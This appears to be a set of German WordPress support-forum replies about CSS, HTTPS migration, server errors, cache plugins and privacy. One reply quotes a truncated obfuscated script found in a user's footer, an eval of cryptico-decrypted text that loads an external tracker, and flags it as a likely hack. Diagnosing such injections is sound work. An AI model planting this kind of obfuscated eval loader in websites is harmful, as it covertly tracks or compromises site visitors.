Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenEigene Formatierungen im sog. Excerpt sind in WordPress eigentlich nicht vorgesehen und Themes bzw. Plugins erwarten dort auch keine Formatierungen.
Evtl. hilft ein Plugin wie Advanced Excerpt weiter, ausführliches Testen der Auswirkungen in Deinem Website vorausgesetzt...
Das hast Du (mit einem anderen Account) schon mehrfach gefragt:
Setze noch jeweils die Bodyklasse [FONT=Courier New].home[/FONT] vor alle Regeln:
.row-primary.has-sidebar ...
wird zu:
.home .row-primary.has-sidebar ...
Ergänzung: Mehr zu den diversen CSS Klassen, die WordPress normalerweise je nach Seite für den body Tag nutzt siehe auch hier in einem Kommentar zur [FONT=Courier New]body_class()[/FONT] Funktion.
Poste ein Hilfegesuch in die Jobbörse, dann kannst Du entspr. Angebote bekommen.
Sicherheitsplugins sind eigentlich keine drauf, ..
Es sieht so aus, als wäre derzeit mindestens ein Sicherheitsplugin aktiv, Disable REST API, das dürfte vermutlich nichts mit dem Problem zu tun haben, lässt aber darauf schliessen, dass ggf. noch andere ähnliche Plugins laufen oder sonstige Basteleien vorhanden sein könnten, daher die Hinweise.
Die Google Search Console hat recht, der Server antwortet derzeit offenbar bei bestimmten Bedingungen des abrufenden Clients/Browsers und/oder bei bestimmte IP-Bereichen mit einem HTTP Status 401 Unauthorized, prüfbar z.B. hier:
https://websniffer.cc/?url=https://www.xn--pferdeanhnger-mieten-jzb.at/
https://botsimulator.com/ mit URL https://www.xn--pferdeanhnger-mieten-jzb.at/
Mögliche Ansätze:
Mit WordPress hat es vermutlich nichts zu tun, da der Effekt alle möglichen Aufrufe auch ausserhalb von WordPress betrifft.
Meist macht man das mit einer entspr. Weiterleitung z.B. in der [FONT=Courier New].htaccess[/FONT] Datei. Manche Hostinganbieter bieten Weiterleitungen für so einen Fall auch in deren Backend an.
Normalerweise leitet WordPress aber selbst automatisch auf das Protokoll weiter, mit dem die Installation eingerichtet ist. Wurde die Installation mit https eingerichtet?
Wurde/wird irgendein Plugin für https verwendet? Wenn ja, welches?
Wurde ggf. in der Datei [FONT=Courier New]wp-config.php[/FONT] das hier [FONT=Courier New]define('RELOCATE',true);[/FONT] eingetragen, falls ja, entfernen.
Link zur Seite?
Hat jemand einen Tipp für mich?
Schau Dir mal die Anleitung von WPBakery zum Thema "responsive", d.h. unterschiedliche Darstellung bei unterschiedlichen Bildschirm- bzw. Fenstergrössen an, z.B.
Ein weisser Bildschirm bei WordPress ist meist ein sog. Fehler 500 o.ä. auf dem Server.
Mehr dazu ggf. im HTTP Header der weissen Seite und/oder ggf. im PHP Error Log des Servers, einsehbar meist im Adminbereich des Hostinganbieters.
Bei welchen Gelegenheiten genau erscheint dieser weisse Bildschirm? Ist das Problem reproduzierbar?
Was bedeutet Plugins zurücksetzen? Was genau ist damit gemeint? Was klappt dabei nicht?
Für weitere nötige Angaben für sinnvolle Hilfe siehe auch Forenregeln, Punkt II.
Kurzer Blick in Quelltext der Seite zeigt im Footerbereich derzeit folgenden Code:
<script src="https://cdnjs.cloudflare.com/ajax/libs/cryptico/0.0.1343522940/cryptico.js" type="text/javascript"></script>
<script type="text/javascript">eval(cryptico.decrypt('Vv+Gp86GgSjDLvYTR7/whX+iLJ1Ae8fPYqUB7...
Das fügt nach dem "Entschlüsseln" ein weiteres Script von einem externen Server whoisvisiting[dot]com in die Seite ein, das (ohne weitere Analyse) erstmal nach einem Tracker o.ä. aussieht. Aufgrund der Tatsache, dass es so "pseudoversteckt" eingefügt wird und in der Datenschutzerklärung aktuell nicht vorkommt, sollte man noch hinterfragen, wo das herkommt und ob es legitim ist.
Ergänzung: Generell wäre der wichtigste Teil von solchen Aufräumarbeiten das Analysieren und klare Nachvollziehen, wie der Website gehackt wurde, sonst wird das vermutlich zeitnah wieder passieren, wenn z.B. die gleiche Lücke oder auch schon ein bestehender Trojaner mit einem Backup wieder eingespielt wird...
Für Mitleser: Evtl. vorhandene http: Links direkt in CSS oder JavaScript Dateien müssten sowohl bei Nutzung von Better Search Replace als auch bei Nutzung von Really Simple SSL manuell selbst korrigiert werden.
Man kann einstellen, dass ein kurzer Hinweis mit Link angezeigt wird, die genannten Daten gehen beim Absenden eines Kommentars trotzdem an externe Server in die USA und werden dort auf Spam geprüft, das ist nicht abschaltbar.
Wenn man bei Umstellung von http auf https einmalig die Pfade in der Datenbank selbst anpasst, z.B. mit einem Plugin wie Better Search Replace und dazu bei Bedarf eine Weiterleitung für Grafiken oder andere Uploads in der .htaccess selbst einträgt, dann sind Plugins wie Really Simple SSL o.ä. gar nicht nötig.
Akismet übermittelt jeden Kommentar inkl. IP-Adresse des Kommentarschreibers an Server in die USA, eine DSGVO konforme Nutzung ist damit nicht möglich.
Tipp am Rande: Wenn Du einen Website betreibst, aber "null Ahnung" hast, suche Dir eine Person in Deinem Umfeld, die mindestens etwas Ahnung von WordPress bzw. von PHP hat und Dich bei technischen Dingen oder auch beim Anlegen von Backups und dem Wiedereinspielen im Notfall unterstützen kann, und das am besten jetzt in Ruhe wenn der Website läuft, als später dann in Panik und Eile wenn der Website warum auch immer mal nicht mehr läuft. Und falls man niemanden persönlich kennt, in vielen Regionen gibt es sog. WordPress Meetups, derzeit pandemiebedingt meist online, dort kann man passende Ansprechpartner finden oder ggf. welche empfohlen bekommen.
Du hast also bei Deinem Hosting Support konkret gefragt, warum Deine Datenbank nur 100 Verbindungen in einer Stunde zulässt und die Antwort darauf war, dass Du Deine Datenbank prüfen sollst?
Oder hast Du nur allgemein "meine Datenbank verbindet nicht" o.ä. angefragt?
Ergänzung: Oder hast Du ggf. dort ein eigenes Serverpaket gebucht, wo Du Dich selbst kümmern müsstest?
Dieser Fehler kam im ersten Errorlog nicht vor.
Poste die Zeilen ca. 5942 bis 5956, also etwas vor und nach der Meldung, der Datei /wordpress/wp-includes/formatting.php die jetzt auf dem neuen Server liegt (mit dem kleinen [+] Symbol und "Code" im Forum Editor).
Entweder bei Deinem FTP Download/Upload geht einiges schief, was im Grunde alle Meldungen erklären würde, oder aber die Installation ist möglicherweise gehackt, was die seltsamen unterschiedlich auftretenden Probleme erklären könnte.
... funktioniert der DIVI Builder nicht mehr, ...
Wende Dich bzgl. Problemen mit dem Divi Builder am besten an den (mitgekauften) Divi Support oder an die Person, die das Divi Builder Plugin auf Deinem Website eingerichtet hat, die kennt alle Eckdaten und sonstigen Plugins usw. des Websites.
Hab die Plugins beide gelöscht
Ein Cache Plugin alleine ist generell kein Problem, vorausgesetzt es wird passend eingerichtet. Nur zwei Cache Plugins parallel (wie es hier der Fall war) kommen sich sicher in die Quere, es ist reiner Zufall, wenn das funktionierend aussieht...
Screenshot der Programmierkürzel?
Es sind weiterhin zwei Cache-Plugins parallel aktiv, WP Fastest Cache und W3 Total Cache, das wird immer wieder Probleme verursachen...
Weiterhin wird das Logo13nw.png per http:// eingebunden statt per https:// - das verursacht derzeit mixed Content Probleme (z.B. Warnsymbol in Firefox in der URL-Zeile), offenbar wurde ein Umzug auf SSL nicht korrekt durchgeführt.
Deaktiviere alle Cache- und Optimierungs-Plugins, derzeit min. aktiv: WP Fastest Cache, W3 Total Cache
Generell: Zwei Cache Plugins parallel sind eines zuviel!
